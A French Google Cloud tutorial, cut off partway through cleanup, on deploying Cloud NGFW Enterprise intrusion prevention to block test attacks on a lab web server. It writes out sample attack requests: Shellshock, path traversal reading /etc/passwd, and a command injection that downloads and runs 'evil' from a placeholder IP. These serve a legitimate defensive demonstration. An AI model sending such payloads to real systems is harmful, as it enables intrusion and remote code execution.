Cloud NGFW Enterprise – Service de prévention des intrusions (sans inspection TLS)

1. Introduction

Cloud Next Generation Firewall (NGFW)

Cloud nouvelle génération de pare-feu est un service de pare-feu entièrement distribué avec des fonctionnalités de protection avancées, une microsegmentation et une couverture omniprésente pour protéger vos charges de travail Google Cloud contre les attaques internes et externes.

Cloud NGFW présente les avantages suivants :

  • Service de pare-feu distribué: Cloud NGFW fournit une application avec état, entièrement distribuée et basée sur l'hôte pour chaque charge de travail, afin d'activer une architecture de sécurité zéro confiance.
  • Configuration et déploiement simplifiés: Cloud NGFW met en œuvre des stratégies de pare-feu hiérarchiques et de réseau qui peuvent être associées à un nœud de hiérarchie de ressources. Ces stratégies fournissent une expérience de pare-feu cohérente dans la hiérarchie des ressources Google Cloud.
  • Contrôle précis et microsegmentation: la combinaison de stratégies de pare-feu et de tags gérés par IAM (Identity and Access Management) permet de contrôler précisément le trafic nord-sud et est-ouest, jusqu'à une seule VM, sur les réseaux et organisations de cloud privé virtuel (VPC).

Cloud NGFW est disponible dans les niveaux suivants :

Cloud NGFW Enterprise

Cloud NGFW Enterprise ajoute le service de prévention des intrusions (IPS), une capacité de couche 7, à la structure de pare-feu distribuée de Google Cloud. L'inspection TLS permet d'inspecter le trafic chiffré TLS, mais elle n'entre pas dans le cadre de cet atelier de programmation (consultez l'atelier de programmation Cloud NGFW Enterprise avec l'inspection TLS).

Vous pouvez désormais déployer des inspections de pare-feu nouvelle génération de couche 7 (NGFW) fiables avec des contrôles précis, sans modifier votre architecture réseau ni vos configurations de routage.

Pour activer et déployer un contrôle de pare-feu de couche 7 avec IPS, vous devez effectuer les tâches suivantes:

  • Créer un ensemble de points de terminaison de pare-feu zonaux gérés par Google Cloud
  • Vous pouvez éventuellement créer une règle d'inspection TLS (non abordée dans cet atelier de programmation).
  • Vous pouvez éventuellement créer une configuration de confiance (non abordée dans cet atelier de programmation).
  • Associez ces points de terminaison aux réseaux de cloud privé virtuel (VPC) pour lesquels vous avez besoin du service Cloud NGFW Enterprise.
  • Apportez des modifications simples à vos stratégies de pare-feu et règles de pare-feu existantes afin de spécifier les profils de prévention des menaces pour les différents chemins de trafic.

Stratégies de pare-feu réseau

La stratégie de pare-feu réseau agit comme un conteneur pour les règles de pare-feu. Les règles définies dans une stratégie de pare-feu réseau ne sont appliquées nulle part tant que la stratégie n'est pas associée à un réseau VPC. Chaque réseau VPC peut être associé à une stratégie de pare-feu réseau. Les stratégies de pare-feu réseau acceptent les tags gérés par IAM (ou simplement les tags) dans les règles de pare-feu, qui remplacent les tags réseau actuels et peuvent être utilisés pour fournir une identité à la charge de travail.

Le partage d'une stratégie de pare-feu réseau entre les réseaux et l'intégration avec des tags gérés par IAM simplifie considérablement la configuration et la gestion des pare-feu.

Avec l'introduction des stratégies de pare-feu réseau, les stratégies de pare-feu Google Cloud comprennent désormais les composants suivants:

  1. Stratégie de pare-feu hiérarchique
  2. Règles de pare-feu VPC
  3. Stratégie de pare-feu réseau ( mondiale et régionale)

Les stratégies de pare-feu hiérarchiques sont prises en charge au niveau des nœuds d'organisation et de dossier au sein de la hiérarchie des ressources, tandis que les règles de pare-feu VPC et les stratégies de pare-feu réseau sont appliquées au niveau du VPC. La grande différence entre les règles de pare-feu VPC et les stratégies de pare-feu réseau réside dans le fait que les règles de pare-feu VPC ne peuvent être appliquées qu'à un seul réseau VPC, tandis que les stratégies de pare-feu réseau peuvent être associées à un seul VPC ou groupe de VPC, entre autres avantages tels que les mises à jour groupées.

Enfin, nous avons également les règles de pare-feu implicites fournies avec chaque réseau VPC:

  • Une règle de sortie dont l'action est allow, à destination de 0.0.0.0/0
  • Une règle d'entrée dont l'action est "deny", la source est 0.0.0.0/0.

Par défaut, la séquence d'application est illustrée dans le schéma suivant:

21b3bcabc469ffe.png

Veuillez noter que l'ordre d'application entre les règles de pare-feu VPC et la stratégie de pare-feu réseau globale peut être échangé. Les clients peuvent spécifier l'ordre d'application à tout moment à l'aide d'une commande gcloud.

Tags gérés par IAM

Les nouveaux tags intégrés dans les règles de stratégie de pare-feu réseau sont des ressources de paire clé-valeur définies au niveau de l'organisation ou au niveau du projet de la hiérarchie des ressources Google Cloud. Un tag de ce type contient un contrôle d'accès IAM, comme son nom l'indique, qui spécifie qui peut faire quoi sur le tag. Les autorisations IAM, par exemple, permettent de spécifier les comptes principaux autorisés à attribuer des valeurs aux tags et ceux autorisés à associer des tags aux ressources. Une fois qu'un tag a été appliqué à une ressource, les règles de pare-feu du réseau peuvent l'utiliser pour autoriser et refuser le trafic.

Les tags respectent le modèle de ressources d'héritage de Google Cloud, ce qui signifie que les tags et leurs valeurs sont transmis dans la hiérarchie depuis leurs parents. Par conséquent, les tags peuvent être créés à un endroit, puis utilisés par d'autres dossiers et projets dans la hiérarchie des ressources. Pour en savoir plus sur les balises et les restrictions d'accès, consultez cette page.

À ne pas confondre avec les tags réseau. Ces deux types de chaînes peuvent être ajoutés aux instances Compute Engine. ils sont associés à l'instance et disparaissent lorsque celle-ci est mise hors service. Les règles de pare-feu VPC peuvent inclure des tags réseau, mais comme elles ne sont pas considérées comme des ressources cloud, elles ne sont pas soumises au contrôle des accès IAM.

Notez que les tags et les tags gérés par IAM sont utilisés de manière interchangeable dans ce document.

Objectifs de l'atelier

Cet atelier de programmation nécessite un seul projet et la capacité de créer un réseau VPC avec connectivité publique. Il montrera comment Cloud NGFW Enterprise peut fournir la fonctionnalité IPS en:

  • Inspecter des flux intra-VPC/de sous-réseau [Est-Ouest]
  • Inspecter les flux d'entrée provenant d'Internet [Nord-Sud]

Les flux à inspecter seront sélectionnés à l'aide des paramètres de mise en correspondance de Cloud Firewall, y compris les cinq tuples (IP source, adresse IP de destination, protocole, port source, port de destination) et les tags. L'inspection TLS n'est pas abordée dans cet atelier de programmation.

52a0642ef8668ecf.png

La base de règles de la stratégie de pare-feu réseau se présente comme suit:

Priorité

Sens

Cible

Source

Destination

Action

Type

100

Sortie

Quarantine_Tag

Tous

Tout

Refuser

Les indispensables

1000

Entrée

Server_Tag

Plages de vérification de l'état

Tous

Autoriser

Les indispensables

2000

Entrée

Tous

Plages Identity-Aware Proxy

Tous

Autoriser

Les indispensables

3000

Entrée

Tous

Données géographiques, GCTI

Tous

Refuser

Standard

4000

Sortie

Tous

Tous

Données géographiques, GCTI

Refuser

Standard

5000

Sortie

Tous

Tous

Noms de domaine complets pour la mise à jour du système

Autoriser

Standard

6000

Entrée

Server_Tag

10.0.0.0/24

Tous

IPS

Entreprise

7000

Entrée

Server_Tag

CloudNAT_IP

Tous

IPS

Entreprise

Points abordés

Prérequis

  • Projet Google Cloud
  • Vous disposez des connaissances nécessaires sur le déploiement d'instances et la configuration des composants réseau.
  • Connaissance de la configuration des pare-feu VPC

2. Avant de commencer

Créer/Mettre à jour des variables

Cet atelier de programmation utilise $variables pour faciliter l'implémentation de la configuration gcloud dans Cloud Shell.

Dans Cloud Shell, exécutez les commandes ci-dessous en remplaçant les informations entre crochets si nécessaire (ignorez la définition du projet si le projet souhaité est déjà défini). Une variable différente est utilisée pour les ressources au niveau de l'organisation si plusieurs (par exemple, et des points de terminaison de pare-feu.

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. Activer les API

Si vous ne l'avez pas encore fait, activez les API:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Création d'un profil de sécurité Cloud NGFW Enterprise et d'un point de terminaison

La création du point de terminaison Cloud NGFW Enterprise prend environ 20 minutes. Il sera donc créé en premier, et la configuration de base peut être effectuée en parallèle pendant la création du point de terminaison.

Créez le profil de sécurité et le groupe de profils de sécurité:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

Résultat attendu :

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

Vérifiez que les ressources ont bien été créées:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Résultat attendu :

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

Créez le point de terminaison Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

Exécutez la commande ci-dessous pour vérifier que le point de terminaison est en cours de création (STATE: CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Résultat attendu (notez que le format de sortie peut varier en fonction du client utilisé):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

Vous pouvez également exécuter la commande ci-dessous pour obtenir plus de détails:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Résultat attendu :

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

Le processus de création d'un point de terminaison prend environ 20 minutes. Passez à la section "Configuration de base" pour créer les ressources requises en parallèle.

5. Configuration de base

Passez aux sections suivantes si vous préférez créer manuellement les ressources de base.

Réseau et sous-réseau VPC

Réseau VPC et sous-réseau

Créez le réseau et le sous-réseau VPC:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Créez les routeurs Cloud Router et les passerelles Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Implémentations

Créez les instances client et Web-server:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

Tags au niveau du projet

Attribuez les autorisations tagAdmin et/ou tagUser à l'utilisateur, si nécessaire:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

Créez la clé et les valeurs de tag au niveau du projet:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

Liez des tags à des instances:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Stratégie de pare-feu réseau mondiale

Créez une stratégie de pare-feu réseau globale:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

Créez des règles Cloud Firewall Essentials pour refuser le trafic provenant des instances mises en quarantaine (créées à titre d'exemple uniquement et qui ne sont pas utilisées dans cet atelier de programmation), et autoriser le trafic provenant des plages de health-check et de proxys fondés sur l'identité:

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

Créer des règles Cloud Firewall Standard pour refuser le trafic d'entrée et de sortie depuis/vers des pays sous embargo, les adresses IP malveillantes connues et les nœuds de sortie des conditions d'utilisation et autorisez le trafic de sortie vers des noms de domaine complets spécifiques pour les mises à jour du système (créés à titre d'exemple uniquement et non utilisés dans cet atelier de programmation):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic from sactioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

Créez des règles de pare-feu Cloud pour autoriser le trafic d'entrée est-ouest / intra-sous-réseau et nord-sud / Internet à partir des plages spécifiques (ces règles seront mises à jour pour activer Cloud NGFW Enterprise):

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Associez la stratégie de pare-feu réseau au réseau VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

Équilibreur de charge réseau TCP/UDP externe

Réservez une adresse IP externe, puis créez le groupe d'instances et la vérification de l'état:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

Créez un service de backend et une règle de transfert:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. Association des points de terminaison Cloud NGFW Enterprise

Redéfinissez les variables d'environnement si nécessaire.

Vérifiez que la création du point de terminaison Cloud Firewall a bien été effectuée. Ne continuez qu'une fois que l'état affiche ACTIVE (lors de la création, l'état attendu est CREATING):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Résultat attendu (notez que le format de sortie peut varier en fonction du client utilisé):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

Vous pouvez également exécuter la commande ci-dessous pour obtenir plus de détails:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Résultat attendu :

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

Associez le point de terminaison Cloud NGFW Enterprise au réseau VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

Le processus d'association prend environ 10 minutes. Ne continuez qu'une fois que l'état est défini sur ACTIVE (l'état attendu est CREATING) au cours du processus de création :

gcloud network-security firewall-endpoint-associations list

Résultat attendu :

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

Vous pouvez également exécuter la commande ci-dessous pour obtenir plus de détails:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Résultat attendu :

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. Règles d'inspection Cloud NGFW Enterprise

Ouvrez un nouvel onglet et établissez une connexion SSH à la VM cliente via IAP (vous devrez à nouveau définir les variables dans le nouvel onglet):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Définissez les variables requises dans la session SSH, puis définissez-les (assurez-vous qu'elles sont correctes):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

curl les deux adresses IP pour vérifier qu'elles sont accessibles:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

Résultat attendu pour les deux requêtes curl:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

Envoyer des exemples d'attaques à l'adresse IP du serveur interne (trafic est-ouest / intra-VPC). Le serveur Web doit répondre à toutes les requêtes et confirmer qu'aucune inspection/prévention L7 n'est en place:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Renvoyez les exemples d'attaques à l'adresse IP du serveur externe via Cloud NAT (trafic entrant nord-sud). De même, le serveur Web doit répondre à toutes les requêtes:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Résultats attendus pour les adresses IP publiques et privées:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Revenez à Cloud Shell et mettez à jour les règles d'entrée existantes pour activer l'inspection L7:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Si vous le souhaitez, décrivez les règles de pare-feu pour vérifier que les deux ont bien été mises à jour:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Résultat attendu :

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Règle 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Résultat attendu :

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Basculez à nouveau vers la VM cliente et renvoyez les exemples d'attaques à l'adresse IP du serveur interne (inspection Est-Ouest / Intra-VPC):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Renvoyez les exemples d'attaques à l'adresse IP du serveur externe via Cloud NAT (inspection nord-sud entrante):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Aucune réponse n'est reçue pour les premières attaques selon le résultat attendu ci-dessous, ce qui confirme que les attaques de gravité élevée sont désormais bloquées.

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Accédez à Sécurité du réseau > Menaces sur la console Cloud visant à vérifier les journaux (vous devrez peut-être actualiser plusieurs fois si les attaques ne sont pas encore affichées)

daa535fcc34873aa.png

Choisissez l'une des attaques et cliquez sur "Afficher le journal d'audit". sur le côté droit (s'ouvre dans un nouvel onglet pour revenir facilement en arrière). Développez l'attaque pour en afficher les détails:

5f97cdef79e42eff.png

Vous pouvez également remplacer le filtre de l'explorateur de journaux par la requête ci-dessous:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

Les entrées du journal des menaces doivent s’afficher comme suit:

5ea9581a7eb694c5.png

Les paquets interceptés par Cloud Firewall peuvent être vérifiés à l'aide du filtre de l'explorateur de journaux ci-dessous (utile en cas de dépannage):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

Passez à l'inspection du trafic Internet (facultatif) ou fermez la session SSH et passez au chapitre suivant pour les étapes de nettoyage.

[Facultatif] Inspection du trafic Internet

Comme vérifié dans la section précédente, les flux inspectés jusqu'à présent sont des flux internes au sous-réseau/VPC (Est-Ouest) et du trafic entrant provenant d'Internet (Nord-Sud entrant). Vous pouvez également configurer Cloud NGFW Enterprise pour inspecter l'ensemble du trafic Internet (sortie Nord-Sud) en créant une règle de sortie à l'aide de Cloud Shell:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Revenez à la VM cliente et renvoyez les attaques sévères à l'adresse IP du serveur externe:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

Résultat attendu :

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

Accédez à l'onglet "Menaces" de la console Cloud pour vérifier les journaux (vous devrez peut-être actualiser la page plusieurs fois). Les attaques auraient dû être identifiées et consignées à nouveau, mais l'adresse IP source est désormais interne, car une règle de sortie est déclenchée en premier:

36f8edf264dcddcd.png

Fermez la session SSH et passez à la section suivante pour les étapes de nettoyage.

8. Procédure de nettoyage

Nettoyage des composants Cloud NGFW Enterprise

Répertoriez les associations Cloud NGFW Enterprise existantes:

gcloud network-security firewall-endpoint-associations list

Supprimez l'association Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

Répertoriez les points de terminaison Cloud NGFW Enterprise existants:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Supprimez le point de terminaison Cloud NGFW Enterprise, ce qui peut prendre environ 20 minutes:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

Vérifiez que Cloud NGFW Enterprise a bien été supprimé en exécutant la commande ci-dessous:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Supprimez le groupe de profils de sécurité et le profil de prévention des menaces:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
